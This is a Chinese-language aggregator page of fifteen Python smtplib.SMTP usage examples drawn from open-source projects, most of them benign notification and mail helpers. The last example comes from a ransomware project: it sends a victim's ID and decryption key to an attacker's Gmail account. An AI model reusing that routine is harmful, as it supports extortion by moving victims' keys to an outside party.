當前位置: 首頁>>代碼示例>>Python>>正文


Python smtplib.SMTP屬性代碼示例

本文整理匯總了Python中smtplib.SMTP屬性的典型用法代碼示例。如果您正苦於以下問題:Python smtplib.SMTP屬性的具體用法?Python smtplib.SMTP怎麽用?Python smtplib.SMTP使用的例子?那麽, 這裏精選的屬性代碼示例或許可以為您提供幫助。您也可以進一步了解該屬性所在smtplib的用法示例。


在下文中一共展示了smtplib.SMTP屬性的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: __init__

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP [as 別名]
def __init__(self, id, params):
		super(Mailer, self).__init__(id, params)
		
		try:
			# SMTP Server config + data dir
			self.data_dir = params.get("data_dir", "/var/tmp/secpi/alarms")
			self.smtp_address = params["smtp_address"]
			self.smtp_port = int(params["smtp_port"])
			self.smtp_user = params["smtp_user"]
			self.smtp_pass = params["smtp_pass"]
			self.smtp_security = params["smtp_security"]
		except KeyError as ke: # if config parameters are missing
			logging.error("Mailer: Wasn't able to initialize the notifier, it seems there is a config parameter missing: %s" % ke)
			self.corrupted = True
			return
		except ValueError as ve: # if one configuration parameter can't be parsed as int
			logging.error("Mailer: Wasn't able to initialize the notifier, please check your configuration: %s" % ve)
			self.corrupted = True
			return

		logging.info("Mailer: Notifier initialized") 
開發者ID:SecPi,項目名稱:SecPi,代碼行數:23,代碼來源:mailer.py

示例2: handle_DATA

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP [as 別名]
def handle_DATA(self, server, session, envelope: Envelope):
        LOG.debug(
            "===>> New message, mail from %s, rctp tos %s ",
            envelope.mail_from,
            envelope.rcpt_tos,
        )

        if POSTFIX_SUBMISSION_TLS:
            smtp = SMTP(POSTFIX_SERVER, 587)
            smtp.starttls()
        else:
            smtp = SMTP(POSTFIX_SERVER, POSTFIX_PORT or 25)

        app = new_app()
        with app.app_context():
            return handle(envelope, smtp) 
開發者ID:simple-login,項目名稱:app,代碼行數:18,代碼來源:email_handler.py

示例3: main

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP [as 別名]
def main():
    r = requests.get(
        'https://api.github.com/repos/buildbot/buildbot/issues?labels=merge me'
    )
    body = ["%(html_url)s - %(title)s" % pr for pr in r.json()]
    if not body:
        return

    body = "Mergeable pull requests:\n\n" + "\n".join(body)

    smtp = smtplib.SMTP('localhost')
    smtp.sendmail(FROM, RECIPIENT, """\
Subject: Mergeable Buildbot pull requests
From: %s
To: %s

%s""" % (FROM, RECIPIENT, body)) 
開發者ID:buildbot,項目名稱:buildbot-infra,代碼行數:19,代碼來源:mergeable.py

示例4: sendEmail

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP [as 別名]
def sendEmail(emailContents, receiver):
	SERVER = "localhost"
	FROM = "admin@botdiggertest.com"
	TO = list()
	TO.append(receiver)
	#TO = ["botdiggeradmin@test.com"] # must be a list
	SUBJECT = "BotDigger Notice"
	TEXT = emailContents
	message = """\From: %s\nTo: %s\nSubject: %s\n\n%s""" % (FROM, ", ".join(TO), SUBJECT, TEXT)
	try:
		server = smtplib.SMTP(SERVER)
		server.sendmail(FROM, TO, message)
		server.quit()
		print "Successfully sent email"
	except:
		print "Error: unable to send email" 
開發者ID:hanzhang0116,項目名稱:BotDigger,代碼行數:18,代碼來源:BotDigger.py

示例5: mail_send_with_details

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP [as 別名]
def mail_send_with_details(relay, sender, subject, to, text, xmailer=None, followup_to=None, dry=True):
    import smtplib
    from email.mime.text import MIMEText
    import email.utils
    msg = MIMEText(text, _charset='UTF-8')
    msg['Subject'] = subject
    msg['Message-ID'] = email.utils.make_msgid()
    msg['Date'] = email.utils.formatdate(localtime=1)
    msg['From'] = sender
    msg['To'] = to
    if followup_to:
        msg['Mail-Followup-To'] = followup_to
    if xmailer:
        msg.add_header('X-Mailer', xmailer)
    msg.add_header('Precedence', 'bulk')
    if dry:
        logger.debug(msg.as_string())
        return
    logger.info("%s: %s", msg['To'], msg['Subject'])
    s = smtplib.SMTP(relay)
    s.sendmail(msg['From'], {msg['To'], sender }, msg.as_string())
    s.quit() 
開發者ID:openSUSE,項目名稱:openSUSE-release-tools,代碼行數:24,代碼來源:util.py

示例6: send

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP [as 別名]
def send(
    sender, to,
    subject='None',
    body='None',
    server='localhost'
):
    """sends a message."""
    message = email.message.Message()
    message['To'] = to
    message['From'] = sender
    message['Subject'] = subject
    message.set_payload(body)

    server = smtplib.SMTP(server)
    try:
        return server.sendmail(sender, to, message.as_string())
    finally:
        server.quit() 
開發者ID:PacktPublishing,項目名稱:Expert-Python-Programming_Second-Edition,代碼行數:20,代碼來源:mailer.py

示例7: send_mail

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP [as 別名]
def send_mail(to_email,message):
# 定義郵件發送
# Define send_mail() function
	smtp_host = 'smtp.xxx.com'
	# 發件箱服務器
	# Outbox Server
	from_email = 'from_email@xxx.com'
	# 發件郵箱
	# from_email
	passwd = 'xxxxxx'
	# 發件郵箱密碼
	# from_email_password
	msg = MIMEText(message,'plain','utf-8')
	msg['Subject'] = Header(u'Email Subject','utf-8').encode()
	# 郵件主題
	# Email Subject
	smtp_server = smtplib.SMTP(smtp_host,25)
	# 發件服務器端口
	# Outbox Server Port
	smtp_server.login(from_email,passwd)
	smtp_server.sendmail(from_email,[to_email],msg.as_string())
	smtp_server.quit() 
開發者ID:wing324,項目名稱:autopython,代碼行數:24,代碼來源:send_email_with_python.py

示例8: sendfailmail

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP [as 別名]
def sendfailmail():
    try:
        SUBJECT = 'QQ點讚機下線提醒'
        TO = [sendtomail]
        msg = MIMEMultipart('alternative')
        msg['Subject'] = Header(SUBJECT, 'utf-8')
        msg['From'] = mailsig+'<'+mailuser+'>'
        msg['To'] = ', '.join(TO)
        part = MIMEText("Fatal error occured. Please go to the website and login again!", 'plain', 'utf-8')
        msg.attach(part)
        server = smtplib.SMTP(mailserver, 25)
        server.login(mailuser, mailpass)
        server.login(mailuser, mailpass)
        server.sendmail(mailuser, TO, msg.as_string())
        server.quit()
        return True
    except Exception , e:
        logging.error("發送程序錯誤郵件失敗:"+str(e))
        return False 
開發者ID:zeruniverse,項目名稱:QBotWebWrap,代碼行數:21,代碼來源:qqbot.py

示例9: sendfailmail

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP [as 別名]
def sendfailmail():
    global QQUserName, MyUIN
    try:
        SUBJECT = 'QQ掛機下線提醒: '+str(QQUserName)+'[QQ號:'+str(MyUIN)+']'
        TO = [sendtomail]
        msg = MIMEMultipart('alternative')
        msg['Subject'] = Header(SUBJECT, 'utf-8')
        msg['From'] = mailsig+'<'+mailuser+'>'
        msg['To'] = ', '.join(TO)
        part = MIMEText("Fatal error occured. Please restart the program and login again!", 'plain', 'utf-8')
        msg.attach(part)
        server = smtplib.SMTP(mailserver, 25)
        server.login(mailuser, mailpass)
        server.login(mailuser, mailpass)
        server.sendmail(mailuser, TO, msg.as_string())
        server.quit()
        return True
    except Exception , e:
        logging.error("發送程序錯誤郵件失敗:"+str(e))
        return False 
開發者ID:zeruniverse,項目名稱:QBotWebWrap,代碼行數:22,代碼來源:qqbot.py

示例10: smtpmail

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP [as 別名]
def smtpmail(self,subinfo):
        try:
            SUBJECT = '來自 '+subinfo+'的留言'
            TO = [sendtomail]
            msg = MIMEMultipart('alternative')
            msg['Subject'] = Header(SUBJECT, 'utf-8')
            msg['From'] = mailsig+'<'+mailuser+'>'
            msg['To'] = ', '.join(TO)
            part = MIMEText(self.content, 'plain', 'utf-8')
            msg.attach(part)        
            server = smtplib.SMTP(mailserver, 25)
            server.login(mailuser, mailpass)
            server.login(mailuser, mailpass)
            server.sendmail(mailuser, TO, msg.as_string())
            server.quit()
            return True
        except Exception, e:
            logging.error("error sending msg:"+str(e))
            return False 
開發者ID:zeruniverse,項目名稱:QBotWebWrap,代碼行數:21,代碼來源:qqbot.py

示例11: sendfailmail

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP [as 別名]
def sendfailmail():
    try:
        SUBJECT = 'QQ小黃雞下線提醒'
        TO = [sendtomail]
        msg = MIMEMultipart('alternative')
        msg['Subject'] = Header(SUBJECT, 'utf-8')
        msg['From'] = mailsig+'<'+mailuser+'>'
        msg['To'] = ', '.join(TO)
        part = MIMEText("Fatal error occured. Please go to the website and login again!", 'plain', 'utf-8')
        msg.attach(part)
        server = smtplib.SMTP(mailserver, 25)
        server.login(mailuser, mailpass)
        server.login(mailuser, mailpass)
        server.sendmail(mailuser, TO, msg.as_string())
        server.quit()
        return True
    except Exception , e:
        logging.error("發送程序錯誤郵件失敗:"+str(e))
        return False 
開發者ID:zeruniverse,項目名稱:QBotWebWrap,代碼行數:21,代碼來源:qqbot.py

示例12: report

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP [as 別名]
def report(self, exc_data):
        msg = self.assemble_email(exc_data)
        server = smtplib.SMTP(self.smtp_server)
        if self.smtp_use_tls:
            server.ehlo()
            server.starttls()
            server.ehlo()
        if self.smtp_username and self.smtp_password:
            server.login(self.smtp_username, self.smtp_password)
        server.sendmail(self.from_address,
                        self.to_addresses, msg.as_string())
        try:
            server.quit()
        except sslerror:
            # sslerror is raised in tls connections on closing sometimes
            pass 
開發者ID:linuxscout,項目名稱:mishkal,代碼行數:18,代碼來源:reporter.py

示例13: send_reset_email

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP [as 別名]
def send_reset_email(self):
        expires = datetime.datetime.now() + reset_password_timeout
        url = self.generate_reset_link()
        body = ("A password reset for {} has been requested.\r\n".format(self.username),
                "Navigate to {} to complete reset.".format(url),
                "Expires on {}".format(expires.isoformat())
                )
        message = MIMEText('\r\n'.join(body))
        message['Subject'] = "Password Reset Link for CASCADE on {}".format(settings.load()['server']['hostname'])
        message['From'] = 'cascade@' + settings.load()['server']['hostname']
        message['To'] = self.email

        server = smtplib.SMTP(settings.load()['links']['smtp'])
        server.set_debuglevel(1)
        server.sendmail(message['From'], [self.email], message.as_string())
        server.quit() 
開發者ID:mitre,項目名稱:cascade-server,代碼行數:18,代碼來源:users.py

示例14: sendEmail

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP [as 別名]
def sendEmail(subject, body, credentials):    
    self = credentials[0]
    password = credentials[1]    
    fromAddr = credentials[2]
    toAddr = credentials[3]   
    msg = MIMEMultipart()
    msg['From'] = fromAddr
    msg['To'] = toAddr
    msg['Subject'] = subject   
    msgText = MIMEText(body, 'html', 'UTF-8')
    msg.attach(msgText)
    server = SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(self, password)
    text = msg.as_string()
    server.sendmail(fromAddr, toAddr, text)
    server.quit()

# --- Scraping Methods --------------------------------------------------------- 
開發者ID:anfederico,項目名稱:Stockeye,代碼行數:21,代碼來源:watch.py

示例15: send_Key_SMTP

# 需要導入模塊: import smtplib [as 別名]
# 或者: from smtplib import SMTP [as 別名]
def send_Key_SMTP():
	ts = datetime.datetime.now()
	SERVER = "smtp.gmail.com" 		
	PORT = 587 						
	USER= "address@gmail.com"		# Specify Username Here 
	PASS= "prettyflypassword"	    # Specify Password Here
	FROM = USER
	TO = ["address@gmail.com"] 		
	SUBJECT = "Ransomware data: "+str(ts)
	MESSAGE = """\Client ID: %s Decryption Key: %s """ % (ID, exKey)
	message = """\ From: %s To: %s Subject: %s %s """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
	try:              
		server = smtplib.SMTP()
		server.connect(SERVER, PORT)
		server.starttls()
		server.login(USER, PASS)
		server.sendmail(FROM, TO, message)
		server.quit()
	except Exception as e:
		# print e
		pass 
開發者ID:NullArray,項目名稱:Cypher,代碼行數:23,代碼來源:cyphermain.py


注:本文中的smtplib.SMTP屬性示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。